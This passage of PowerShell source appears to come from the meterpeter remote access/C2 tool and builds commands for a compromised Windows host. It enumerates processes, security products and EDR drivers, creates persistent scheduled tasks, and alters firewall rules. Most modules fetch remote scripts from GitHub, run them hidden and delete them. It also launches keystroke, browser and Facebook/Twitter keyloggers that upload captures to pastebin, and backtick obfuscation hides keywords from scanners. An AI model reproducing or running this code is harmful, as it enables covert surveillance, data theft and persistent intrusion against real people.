$Command = "Get-Process|Select-Object Id,ProcessName,Description,ProductVersion|Where-Object{`$_.ProcessName -iNotMatch '(wlanext`|svchost`|RuntimeBroker)'}|Format-Table -AutoSize|Out-File dellog.txt;`$check_tasks = Get-content dellog.txt;If(-not(`$check_tasks)){echo `" cmdlet failed to retrieve processes List ..`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force}Else{Get-Content dellog.txt;Remove-Item dellog.txt -Force}";
}
If($wifi_choise -ieq "kill")
{
Write-Host " - kill [N]ProcessName or [P]PID: " -NoNewline -ForegroundColor Red
$KillChoise = Read-Host
If(-not($KillChoise) -or $KillChoise -iMatch '(n|ProcessName)')
{
Write-Host " - The process name to kill : " -ForegroundColor Red -NoNewline
$Proc_name = Read-Host
If(-not ($proc_name) -or $Proc_name -ieq " ")
{
write-host "`n `> Error: We need to provide a process name ..`n" -ForegroundColor Red
$Command = $Null;
$Proc_name = $Null;
}
Else
{
write-host " * Killing $Proc_name remote process." -ForegroundColor Green;
If($Proc_name -iMatch '(.exe)$'){$Proc_name = $Proc_name -replace '.exe',''};Start-Sleep -Seconds 1;write-host "";
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/killProcess.ps1`" -OutFile `"`$Env:TMP\killProcess.ps1`"|Unblock-File;powershell -file `"`$Env:TMP\killProcess.ps1`" -Proc_name $Proc_name -ppid false -dontkill `"`$PID`";Remove-Item -Path `"`$Env:TMP\killProcess.ps1`" -Force"
}
}
Else
{
Write-Host " - PID of the process to kill : " -ForegroundColor Red -NoNewline
$Proc_name = Read-Host
If(-not ($proc_name) -or $Proc_name -ieq " ")
{
write-host "`n Error: We need to provide a process PID ..`n" -ForegroundColor Red
$Command = $Null;
$Proc_name = $Null;
}
Else
{
write-host " * Killing $Proc_name remote process PID." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "";
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/killProcess.ps1`" -OutFile `"`$Env:TMP\killProcess.ps1`"|Unblock-File;powershell -file `"`$Env:TMP\killProcess.ps1`" -Proc_name false -ppid $Proc_name;Remove-Item -Path `"`$Env:TMP\killProcess.ps1`" -Force"
}
}
}
If($wifi_choise -ieq "Return" -or $wifi_choise -ieq "return" -or $wifi_choise -ieq "cls" -or $wifi_choise -ieq "Modules" -or $wifi_choise -ieq "modules")
{
$wifi_choise = $null
$Command = $Null;
}
}
If($choise -ieq "tasks")
{
write-host "`n`n Warnning:" -ForegroundColor Yellow;
write-host " In some targets schtasks service is configurated";
write-host " To not run any task IF connected to the battery";
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Check Retrieve Schedule Tasks UserLand";
write-host " Query Advanced Info Single Task UserLand";
write-host " RunOnce Create a new remote task UserLand";
write-host " LoopExec Create a new remote task UserLand";
write-host " Delete Delete Remote-Host Single Task UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Adv:Tasks> " -NoNewline -ForeGroundColor Green;
$my_choise = Read-Host;
If($my_choise -ieq "Check")
{
write-host ""
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/SchTasks.ps1`" -OutFile `"`$Env:TMP\SchTasks.ps1`"|Unblock-File;Powershell -file `"`$Env:TMP\SchTasks.ps1`" -action `"check`";Remove-Item -Path `"`$Env:TMP\SchTasks.ps1`" -Force"
}
If($my_choise -ieq "Query")
{
write-Host " - Input TaskName: " -NoNewline -ForegroundColor Red
$TaskName = Read-Host
If(-not($TaskName))
{
$TaskName = "MeterpeterC2"
write-host " => Wrong setting, set taskname to: $TaskName" -ForegroundColor Red
}
write-host "`n"
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/SchTasks.ps1`" -OutFile `"`$Env:TMP\SchTasks.ps1`"|Unblock-File;Powershell -file `"`$Env:TMP\SchTasks.ps1`" -action `"query`" -taskname `"$TaskName`";Remove-Item -Path `"`$Env:TMP\SchTasks.ps1`" -Force"
}
If($my_choise -ieq "RunOnce")
{
write-Host " - Input TaskName to create: " -NoNewline -ForegroundColor Red
$TaskName = Read-Host
If(-not($TaskName))
{
$TaskName = "MeterpeterC2"
write-host " => Wrong setting, set TaskName to: $TaskName" -ForegroundColor Red
}
write-Host " - Input StartTime (13:45) : " -NoNewline
$StartTime = Read-Host
If(-not($StartTime))
{
$StartTime = "13:45"
write-host " => Wrong setting, set starttime to: $StartTime" -ForegroundColor Red
}
write-Host " - Input Command|BinaryPath: " -NoNewline
$Execute = Read-Host
If(-not($Execute))
{
$Execute = "cmd /R start calc.exe"
write-host " => Wrong setting, set Execute to: $Execute" -ForegroundColor Red
}
write-host ""
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/SchTasks.ps1`" -OutFile `"`$Env:TMP\SchTasks.ps1`"|Unblock-File;Powershell -file `"`$Env:TMP\SchTasks.ps1`" -action `"RunOnce`" -TaskName `"$TaskName`" -StartTime `"$StartTime`" -Execute `"$Execute`";Remove-Item -Path `"`$Env:TMP\SchTasks.ps1`" -Force"
}
If($my_choise -ieq "LoopExec")
{
write-Host " - Input Task Name to create : " -NoNewline -ForegroundColor Red
$TaskName = Read-Host;
If(-not($TaskName))
{
$TaskName = "MeterpeterC2"
write-host " => Wrong setting, set TaskName to: $TaskName" -ForegroundColor Red
}
write-Host " - Execute task after (minuts) : " -NoNewline
$Interval = Read-Host
If(-not($Interval))
{
$Interval = "10"
write-host " => Wrong setting, set Interval to: $Interval" -ForegroundColor Red
}
write-Host " - Task Duration (1 TO 9 Hours): " -NoNewline
$Duration = Read-Host
If(-not($Duration))
{
$Duration = "1"
write-host " => Wrong setting, set Duration to: $Duration" -ForegroundColor Red
}
write-Host " - Input Command|Binary Path : " -NoNewline -ForegroundColor Red
$Execute = Read-Host
If(-not($Execute))
{
$Execute = "cmd /R start calc.exe"
write-host " => Wrong setting, set Execute to: $Execute" -ForegroundColor Red
}
write-host "`n"
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/SchTasks.ps1`" -OutFile `"`$Env:TMP\SchTasks.ps1`"|Unblock-File;Powershell -file `"`$Env:TMP\SchTasks.ps1`" -action `"LoopExec`" -TaskName `"$TaskName`" -Interval `"$Interval`" -Duration `"$Duration`" -Execute `"$Execute`";Remove-Item -Path `"`$Env:TMP\SchTasks.ps1`" -Force"
}
If($my_choise -ieq "Delete")
{
write-Host " - Input TaskName: " -NoNewline -ForeGroundColor Red
$TaskName = Read-Host
If(-not($TaskName))
{
$TaskName = "MeterpeterC2"
write-host " => Wrong setting, set TaskName to: $TaskName" -ForegroundColor Red
}
write-host "`n"
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/SchTasks.ps1`" -OutFile `"`$Env:TMP\SchTasks.ps1`"|Unblock-File;Powershell -file `"`$Env:TMP\SchTasks.ps1`" -action `"Delete`" -TaskName `"$TaskName`";Remove-Item -Path `"`$Env:TMP\SchTasks.ps1`" -Force"
}
If($my_choise -ieq "Return" -or $my_choise -ieq "cls" -or $my_choise -ieq "Modules" -or $my_choise -ieq "clear")
{
$Command = $Null;
$my_choise = $Null;
}
}
If($choise -ieq "Drives" -or $choise -ieq "driv")
{
write-host " * List mounted drives.`n" -ForegroundColor Green;Start-Sleep -Seconds 1
$Command = "`$PSVERSION = (`$Host).version.Major;If(`$PSVERSION -gt 5){Get-PSDrive -PSProvider 'FileSystem'|Select-Object Root,CurrentLocation,Used,Free|ft|Out-File dellog.txt}Else{Get-Volume|Out-File dellog.txt};Get-Content dellog.txt;Remove-Item dellog.txt -Force";
}
If($choise -ieq "Browser")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Enumerates remote host default browsers\versions";
write-host " Supported: Ie,Edge,Firefox,Chrome,Opera,Safari,Brave" -ForeGroundColor yellow;
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Start Enumerating remote browsers UserLand";
write-host " addons Enumerating browsers addons UserLand";
write-host " Verbose Enumerating browsers (slow) UserLand";
write-host " Clean Major browsers temporary files UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Adv:Browser> " -NoNewline -ForeGroundColor Green;
$Enumerate_choise = Read-Host;
If($Enumerate_choise -ieq "Start")
{
write-host " * List " -ForegroundColor Green -NoNewline
write-host "$Remote_Host" -ForegroundColor DarkYellow -NoNewline
write-host " browsers!" -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/GetBrowsers.ps1`" -OutFile `"`$Env:TMP\GetBrowsers.ps1`"|Out-Null;powershell -WindowStyle hidden -File `$Env:TMP\GetBrowsers.ps1 -RECON;Remove-Item -Path `$Env:TMP\BrowserEnum.log -Force;Remove-Item -Path `$Env:TMP\GetBrowsers.ps1 -Force"
}
If($Enumerate_choise -ieq "addons")
{
write-host " * List installed browsers addons." -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/GetBrowsers.ps1`" -OutFile `"`$Env:TMP\GetBrowsers.ps1`"|Out-Null;powershell -WindowStyle hidden -File `$Env:TMP\GetBrowsers.ps1 -ADDONS;Remove-Item -Path `$Env:TMP\BrowserEnum.log -Force;Remove-Item -Path `$Env:TMP\GetBrowsers.ps1 -Force"
}
If($Enumerate_choise -ieq "Verbose")
{
write-host " * Installed browsers verbose query." -ForegroundColor Green
write-host " => This function takes aprox 1 minute to finish." -ForegroundColor DarkYellow
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/GetBrowsers.ps1`" -OutFile `"`$Env:TMP\GetBrowsers.ps1`"|Out-Null;powershell -WindowStyle hidden -File `$Env:TMP\GetBrowsers.ps1 -ALL;Remove-Item -Path `$Env:TMP\BrowserEnum.log -Force;Remove-Item -Path `$Env:TMP\GetBrowsers.ps1 -Force"
}
If($Enumerate_choise -ieq "Clean")
{
write-host " - Use ClearMyTracksByProcess? (y|n): " -ForeGroundColor Red -NoNewline;
$ClearMyTracksByProcess = Read-Host;
write-host " * Clean major browsers temporary files .." -ForegroundColor Green
If($ClearMyTracksByProcess -iMatch '^(y|yes)$')
{
write-host " => Extra: invoking InetCpl to clean files." -ForeGroundColor DarkYellow;
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/GetBrowsers.ps1`" -OutFile `"`$Env:TMP\GetBrowsers.ps1`"|Out-Null;((Get-Content -Path `"`$Env:TMP\GetBrowsers.ps1`" -Raw) -Replace `"RUIUIUi0 = 'no'`",`"RUIUIUi0 = 'yes'`")|Set-Content -Path `"`$Env:TMP\GetBrowsers.ps1`";powershell -WindowStyle hidden -File `$Env:TMP\GetBrowsers.ps1 -CLEAN;Remove-Item -Path `$Env:TMP\BrowserEnum.log -Force;Remove-Item -Path `$Env:TMP\GetBrowsers.ps1 -Force"
}
Else
{
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/GetBrowsers.ps1`" -OutFile `"`$Env:TMP\GetBrowsers.ps1`"|Out-Null;powershell -WindowStyle hidden -File `$Env:TMP\GetBrowsers.ps1 -CLEAN;Remove-Item -Path `$Env:TMP\BrowserEnum.log -Force;Remove-Item -Path `$Env:TMP\GetBrowsers.ps1 -Force"
}
}
If($Enumerate_choise -ieq "Return" -or $Enumerate_choise -ieq "cls" -or $Enumerate_choise -ieq "Modules" -or $Enumerate_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$Enumerate_choise = $Null;
}
}
If($choise -ieq "Recent" -or $choise -ieq "rece")
{
#$path = "$env:userprofile\AppData\Roaming\Microsoft\Windows\Recent"
write-host " * Listing recent directory!" -ForegroundColor Green;Start-Sleep -Seconds 1
$Command = "Get-ChildItem `$Env:USERPROFILE\AppData\Roaming\Microsoft\Windows\Recent|Select-Object Length,Name,CreationTime,LastWriteTime,Attributes|Format-Table -AutoSize|Select -SkipLast 1|Out-File startup.txt;Get-content startup.txt;Remove-Item startup.txt -Force"
}
If($choise -ieq "ListSMB" -or $choise -ieq "smb")
{
write-host " * Remote SMB shares." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "";
$Command = "Get-SmbShare|Select-Object Name,Path,Description|ft|Out-File smb.txt;Start-Sleep -Seconds 1;`$i = Get-Content smb.txt;If(-not(`$i)){echo `" `> Error: none SMB accounts found under `$Env:COMPUTERNAME`" `> smb.txt};Get-Content smb.txt;remove-item smb.txt -Force";
}
If($choise -ieq "StartUp" -or $choise -ieq "start")
{
write-host " * Remote host StartUp contents." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "";
$Command = "Get-ChildItem `"`$Env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup`"|Select-Object Length,Name,LastWriteTime|Format-Table -AutoSize|Out-File startup.txt;`$checkme = Get-Content -Path startup.txt;If(-not(`$checkme ) -or `$checkme -ieq `$null){echo `" `> Error: none contents found on startup directory!`" `> startup.txt};Get-Content -Path startup.txt;Remove-Item startup.txt -Force";
}
If($choise -ieq "ListRun" -or $choise -ieq "run")
{
write-host " * Enumerating startup entrys (regedit)" -ForegroundColor Green;Start-Sleep -Seconds 1;write-host ""
$Command = "REG QUERY `"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`"|Where-Object { `$_ -ne '' }|Out-File runen.meterpeter -Force;echo `"`" `>`> runen.meterpeter;REG QUERY `"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce`"| Where-Object { `$_ -ne '' } `>`> runen.meterpeter;echo `"`" `>`> runen.meterpeter;REG QUERY `"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`"| Where-Object { `$_ -ne '' } `>`> runen.meterpeter;Get-content -Path runen.meterpeter;Remove-Item -Path runen.meterpeter -Force";
}
If($choise -ieq "AntiVirus" -or $choise -ieq "avp")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Enumerates the most common security processes running, ";
write-host " AppWhitelisting, Behavioral Analysis, Intrusion Detection";
write-host " DEP, DLP, Firewall, HIPS and Hunt for EDR's by driver name.";
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " Primary PrimaryAV + Security processes UserLand";
write-host " FastScan Security processes + EDR hunt UserLand";
write-host " Verbose Full scan module (accurate) UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Adv:Avp> " -NoNewline -ForeGroundColor Green;
$my_choise = Read-Host;
If($my_choise -ieq "Primary")
{
write-host " * Listing Primary AV Product" -ForegroundColor Green;Start-Sleep -Seconds 1
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetCounterMeasures.ps1`" -outfile `"`$Env:TMP\GetCounterMeasures.ps1`"|Unblock-File;powershell -File `$Env:TMP\GetCounterMeasures.ps1 -Action Enum;Remove-Item -Path `$Env:TMP\GetCounterMeasures.ps1 -Force";
}
If($my_choise -ieq "FastScan")
{
write-host " * Listing Remote Host Counter Measures (Fast)" -ForegroundColor Green;
write-host " => Search for string(s) inside driver file description." -ForegroundColor DarkYellow;
write-host " => Slipt diferent strings to search with PIPE (|) command." -ForegroundColor DarkYellow;
Start-Sleep -Seconds 1
Write-Host " - Search for string (antimal`ware|sandboxing): " -NoNewline;
$StringToSearch = Read-Host;
If(-not($StringToSearch) -or $StringToSearch -eq $null)
{
write-host " => Error: wrong input, use default strings." -ForegroundColor Red
$StringToSearch = "Defender|antimal`ware|sandboxing|Symantec|AVG|Avast|BitDefender|Comodo|Cisco|ESET|FireEye|F-Secure|Kaspersky|Malwa`rebytes|McAfee|Panda|Sophos|SentinelOne"
}
#Execute command remote
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetCounterMeasures.ps1`" -outfile `"`$Env:TMP\GetCounterMeasures.ps1`"|Unblock-File;powershell -File `$Env:TMP\GetCounterMeasures.ps1 -Action 'enum' -stringsearch 'true' -string `"$StringToSearch`";Remove-Item -Path `$Env:TMP\GetCounterMeasures.ps1 -Force";
}
If($my_choise -ieq "Verbose")
{
write-host " * Listing Remote Host Counter Measures (Accurate)" -ForegroundColor Green;
write-host " => This function takes aprox 1 minute to finish." -ForegroundColor DarkYellow;Start-Sleep -Seconds 1
$StringToSearch = "Defender|antima`lware|sandboxing|Symantec|AVG|Avast|BitDefender|Comodo|Cisco|ESET|FireEye|F-Secure|Kaspersky|Mal`warebytes|McAfee|Panda|Sophos|SentinelOne"
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetCounterMeasures.ps1`" -outfile `"`$Env:TMP\GetCounterMeasures.ps1`"|Unblock-File;powershell -File `$Env:TMP\GetCounterMeasures.ps1 -Action Verbose -stringsearch 'true' -string `"$StringToSearch`";Remove-Item -Path `$Env:TMP\GetCounterMeasures.ps1 -Force";
}
If($my_choise -ieq "Return" -or $my_choise -ieq "cls" -or $my_choise -ieq "Modules" -or $my_choise -ieq "clear")
{
$Command = $Null;
$my_choise = $Null;
}
}
If($choise -ieq "FRM" -or $choise -ieq "FRManager")
{
write-host "`n`n Remark:" -ForegroundColor Yellow;
write-host " This module allow users to block connections to sellected";
write-host " local_port or from remote_port (default value set: 'Any')";
write-host " Warning: Total of 3 max multiple ports accepted. (Create)" -ForegroundColor Yellow;
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " Query Query 'active' firewall rules " -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " Create Block application\program rule " -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " Delete Delete sellected firewall rule " -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Adv:Frm> " -NoNewline -ForeGroundColor Green;
$Firewall_choise = Read-Host;
If($Firewall_choise -ieq "Query")
{
Write-Host " * Listing active firewall rules." -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bypass/SilenceDefender_ATP.ps1`" -OutFile `"`$Env:TMP\SilenceDefender_ATP.ps1`"|Unblock-File;powershell -File `$Env:TMP\SilenceDefender_ATP.ps1 -Action Query;Remove-Item -Path `"`$Env:TMP\SilenceDefender_ATP.ps1`" -Force"
}
If($Firewall_choise -ieq "Create")
{
Write-Host " * Create new 'Block' firewall rule." -ForegroundColor Green
Write-Host " => Remark: Dont use double quotes in inputs!" -ForegroundColor Yellow
Write-Host " - The new firewall rule DisplayName: " -ForeGroundColor Red -NoNewline;
$DisplayName = Read-Host
If(-not($DisplayName) -or $DisplayName -ieq $null)
{
$DisplayName = "Block-Firefox"
Write-Host " => Error: wrong input, set demo to '$DisplayName'" -ForegroundColor Red
}
Write-Host " - The Program to 'block' full path : " -ForeGroundColor Red -NoNewline;
$Program = Read-Host
If(-not($Program) -or $Program -ieq $null)
{
$Program = "$Env:ProgramFiles\Mozilla Firefox\firefox.exe"
Write-Host " => Error: wrong input, set demo to 'firefox.exe'" -ForegroundColor Red
}
Write-Host " - The Program remote port to block : " -NoNewline;
$RemotePort = Read-Host
If(-not($RemotePort) -or $RemotePort -ieq $null)
{
$RemotePort = "Any"
Write-Host " => Error: wrong input, set demo to '$RemotePort'" -ForegroundColor Red
}
Write-Host " - The Program local port to block : " -NoNewline;
$LocalPort = Read-Host
If(-not($LocalPort) -or $LocalPort -ieq $null)
{
$LocalPort = "Any"
Write-Host " => Error: wrong input, set demo to '$LocalPort'" -ForegroundColor Red
}
Write-Host " - TCP Direction (Outbound|Inbound) : " -NoNewline;
$Direction = Read-Host
If(-not($Direction) -or $Direction -ieq $null)
{
$Direction = "Inbound"
Write-Host " => Error: wrong input, set demo to '$Direction'" -ForegroundColor Red
}
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bypass/SilenceDefender_ATP.ps1`" -OutFile `"`$Env:TMP\SilenceDefender_ATP.ps1`"|Unblock-File;powershell -File `$Env:TMP\SilenceDefender_ATP.ps1 -Action Create -DisplayName `"$DisplayName`" -Program `"$Program`" -LocalPort `"$LocalPort`" -RemotePort `"$RemotePort`" -Direction $Direction;Remove-Item -Path `"`$Env:TMP\SilenceDefender_ATP.ps1`" -Force"
}
If($Firewall_choise -ieq "Delete")
{
Write-Host " * Delete existing Block\Allow firewall rule." -ForegroundColor Green
Write-Host " => Remark: Dont use double quotes in inputs!" -ForegroundColor Yellow
Write-Host " - The DisplayName of the rule to delete: " -ForeGroundColor Red -NoNewline;
$DisplayName = Read-Host
If(-not($DisplayName) -or $DisplayName -ieq $null)
{
Write-Host "`n`n x Error: Module requires a firewall rule name.`n" -ForegroundColor Red
$Command = $null
}
Else
{
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bypass/SilenceDefender_ATP.ps1`" -OutFile `"`$Env:TMP\SilenceDefender_ATP.ps1`"|Unblock-File;powershell -File `$Env:TMP\SilenceDefender_ATP.ps1 -Action Delete -DisplayName `"$DisplayName`";Remove-Item -Path `"`$Env:TMP\SilenceDefender_ATP.ps1`" -Force"
}
}
If($Firewall_choise -ieq "Return" -or $Firewall_choise -ieq "cls" -or $Firewall_choise -ieq "Modules" -or $Firewall_choise -ieq "clear")
{
$Command = $Null;
$Firewall_choise = $Null;
}
}
If($choise -ieq "Return" -or $choise -ieq "return" -or $choise -ieq "cls" -or $choise -ieq "Modules" -or $choise -ieq "modules")
{
$Command = $Null;
}
$choise = $Null;
$Clear = $True;
}
If($Command -ieq "keylogger")
{
write-host "`n`n Description" -ForegroundColor Yellow
write-host " This module captures screenshots of mouse-clicks Or,"
write-host " Captures keyboard keystrokes and store them on %TMP%"
write-host " Remark: Pastebin module requires 'Keystrokes' running" -ForegroundColor Yellow
write-host "`n`n Modules Description Remark" -ForegroundColor green;
write-host " ------- ----------- ------";
write-host " Mouse Start remote Mouse Logger Start record remote MouseClicks"
write-host " Keystrokes Start\Stop remote keylogger Start record remote keyStrokes";
write-host " Pastebin Send keystrokes to pastebin Max of 20 pastes allowed by day";
write-host " Browser Capture browser(s) tab title Start\Stop\Leak windows tab title"
write-host " SocialMedia Capture keystrokes from FB\Twitter Start\Stop FB,Twitter keylogger"
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:keyl`ogger> " -NoNewline -ForeGroundColor Green;
$choise = Read-Host;
If($choise -ieq "Browser")
{
Write-Host " - Start or Stop browser keylogger? (start|stop): " -ForegroundColor Red -NoNewline
$Exechoise = Read-Host
If($Exechoise -iMatch '^(stop)$')
{
write-host ""
$Command = "If(Test-Path -Path `"`$Env:TMP\Browser.report`"){`$PPID = (Get-Content -Path `"`$Env:TMP\Browser.report`"|Select-String -Pattern '\s*Process Id+\s*:+\s') -replace '\s*Process Id+\s*:+\s','';If(`$PPID){echo `"Stoping Process ID: `$PPID`" `> `$Env:TMP\fdx.log;Get-Content -Path `$Env:TMP\fdx.log;Remove-Item -Path `"`$Env:TMP\fdx.log`" -Force;Stop-Process -Id `"`$PPID`" -Force;Get-Content -Path `$Env:TMP\Browser.report;Remove-Item -Path `"`$Env:TMP\Browser.report`" -Force;Remove-Item -Path `"`$Env:TMP\BrowserLogger.ps1`" -Force}Else{echo `" `> Error: fail to find keyl`oger process PID`" `> `$Env:TMP\fdx.log;Get-Content -Path `$Env:TMP\fdx.log;Get-Content -Path `$Env:TMP\Browser.report;Remove-Item -Path `"`$Env:TMP\fdx.log`" -Force;Remove-Item -Path `"`$Env:TMP\Browser.report`" -Force;Remove-Item -Path `"`$Env:TMP\BrowserLogger.ps1`" -Force}}Else{echo `" NotFound: `$Env:TMP\Browser.report`" `> `$Env:TMP\fdx.log;Get-Content -Path `$Env:TMP\fdx.log;Remove-Item -Path `"`$Env:TMP\fdx.log`" -Force;Remove-Item -Path `"`$Env:TMP\BrowserLogger.ps1`" -Force}"
}
Else
{
Write-Host " - Delay time (in seconds) between captures (3): " -NoNewline
$Delay = Read-Host
If($Delay -lt 3)
{
write-host " => Error: wrong input, default to 3 (sec)" -ForegroundColor Red
}
$StarTimer = (Get-Date -Format 'HH:mm')
Write-Host " - Schedule the capture start time? ($StarTimer|now): " -ForeGroundColor Red -NoNewline
$StartMe = Read-Host
If($StartMe -NotMatch '^(\d+\d+:+\d+\d)$')
{
$StartMe = "now"
}
Write-Host " - Dump installed browsers url history? (y|n) : " -NoNewline
$DumpHistory = Read-Host
If($DumpHistory -Match '^(y|yes)$')
{
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Exfiltration/browserLogger.ps1`" -OutFile `"`$Env:TMP\browserLogger.ps1`"|Unblock-File;Start-Process -WindowStyle hidden powershell -ArgumentList `"-file `$Env:TMP\browserLogger.ps1 -starttime $StartMe -delay $Delay -log -history -force true`";echo `"`n `> Browser key`logger schedule to: [$StartMe] hours`";echo `" `> Logfile: `$Env:TMP\Browser.report`""
}
Else
{
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Exfiltration/browserLogger.ps1`" -OutFile `"`$Env:TMP\browserLogger.ps1`"|Unblock-File;Start-Process -WindowStyle hidden powershell -ArgumentList `"-file `$Env:TMP\browserLogger.ps1 -starttime $StartMe -delay $Delay -log -force true`";echo `"`n `> Browser keylo`gger schedule to: [$StartMe] hours`";echo `" `> Logfile: `$Env:TMP\Browser.report`""
}
}
}
If($choise -ieq "SocialMedia")
{
write-host "`n 👁🗨 Module description 👁🗨" -ForegroundColor Yellow
write-host " This module starts recording keystr`okes if facebook or twitter"
write-host " is active on browser tab, and it stops\resumes capture if user"
write-host " switchs from social media to another website or closes browser.`n"
Write-Host " - Start or Stop browser key`logger (" -NoNewline -ForegroundColor Red
Write-Host "Start" -NoNewline -ForegroundColor Yellow
Write-Host "|" -NoNewline -ForegroundColor Red
Write-Host "Stop" -NoNewline -ForegroundColor Yellow
Write-Host "): " -NoNewline -ForegroundColor Red
$ModeChoise = Read-Host
If($ModeChoise -iMatch '^(Start)$')
{
## module header
$CurrentTime = (Get-Date -Format 'HH:mm')
write-host "`n The Run-And-LetGo function allow users to execute the module even" -ForegroundColor DarkYellow
write-host " if target browser its closed and sends logfiles to pastebin server" -ForegroundColor DarkYellow
write-host " if target user switchs from social media to another website (tab)`n" -ForegroundColor DarkYellow
Write-Host " - Key`logger execution mode (" -NoNewline -ForegroundColor Red
Write-Host "normal" -NoNewline -ForegroundColor Yellow
Write-Host "|" -NoNewline -ForegroundColor Red
Write-Host "LetGo" -NoNewline -ForegroundColor Yellow
Write-Host ") : " -NoNewline -ForegroundColor Red
$ModeSet = Read-Host
If($ModeSet -iMatch '^(LetGo)$')
{
$SetMeUp = "True"
$RawTime = (Get-Date -Format 'HH:mm')
Write-Host " - Schedule cmdlet execution at ($RawTime|now): " -NoNewline
$ForceOrNot = Read-Host
If($ForceOrNot -iMatch '^(now)$')
{
## meterpeter module output
write-host "`n`n [" -ForegroundColor Green -NoNewline
write-host "$CurrentTime" -NoNewline
write-host "] 👁🗨 Social media key`logger 👁🗨" -ForegroundColor Green
write-host " 💀 Starting key`logger in background!"
write-host " 👁️ " -ForegroundColor Green -NoNewline
write-host "SendToPasteBin : " -NoNewline
write-host "$SetMeUp" -ForegroundColor Green
write-host " 👁️ " -ForegroundColor Green -NoNewline
write-host "IsBrowserActive : " -NoNewline
write-host "by`pass" -ForegroundColor Green
write-host " 👁️ " -ForegroundColor Green -NoNewline
write-host "LoopDelayTime : " -NoNewline
write-host "1200`n" -ForegroundColor Green
## execute command
$Command = "cd `$Env:TMP;iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Dump-Browser/SocialMedia.ps1`" -OutFile `"SocialMedia.ps1`"|Unblock-File;Start-Process -WindowStyle hidden powershell -ArgumentList `"-file SocialMedia.ps1 -mode start -force -sendtopastebin`""
}
Else
{
$SetMeUp = "True"
If(-not($ForceOrNot -match '^(\d+\d+:+\d+\d)$'))
{
$ForceOrNot = "now"
}
Write-Host " - Cmdlet delay time [Millisecons] (1700) : " -NoNewline
$LoopDelayTime = Read-Host
If([string]::IsNullOrEmpty($LoopDelayTime))
{
$LoopDelayTime = "1700"
}
If($LoopDelayTime -match 1200)
{
$ColorChoise = "Green"
}
Else
{
$ColorChoise = "Red"
}
## meterpeter module output
write-host "`n`n [" -ForegroundColor Green -NoNewline
write-host "$CurrentTime" -NoNewline
write-host "] 👁🗨 Social media key`logger 👁🗨" -ForegroundColor Green
write-host " 💀 Starting key`logger in background!"
write-host " ⛑️ Schedule capture to: " -NoNewline
write-host "$ForceOrNot" -ForegroundColor Green -NoNewline
write-host " hours."
write-host " 👁️ " -ForegroundColor Green -NoNewline
write-host "SendToPasteBin : " -NoNewline
write-host "$SetMeUp" -ForegroundColor Green
write-host " 👁️ " -ForegroundColor Green -NoNewline
write-host "IsBrowserActive : " -NoNewline
write-host "byp`ass" -ForegroundColor Green
write-host " 👁️ " -ForegroundColor Green -NoNewline
write-host "LoopDelayTime : " -NoNewline
write-host "$LoopDelayTime`n" -ForegroundColor $ColorChoise
## Execute command [start key`logger schedule]
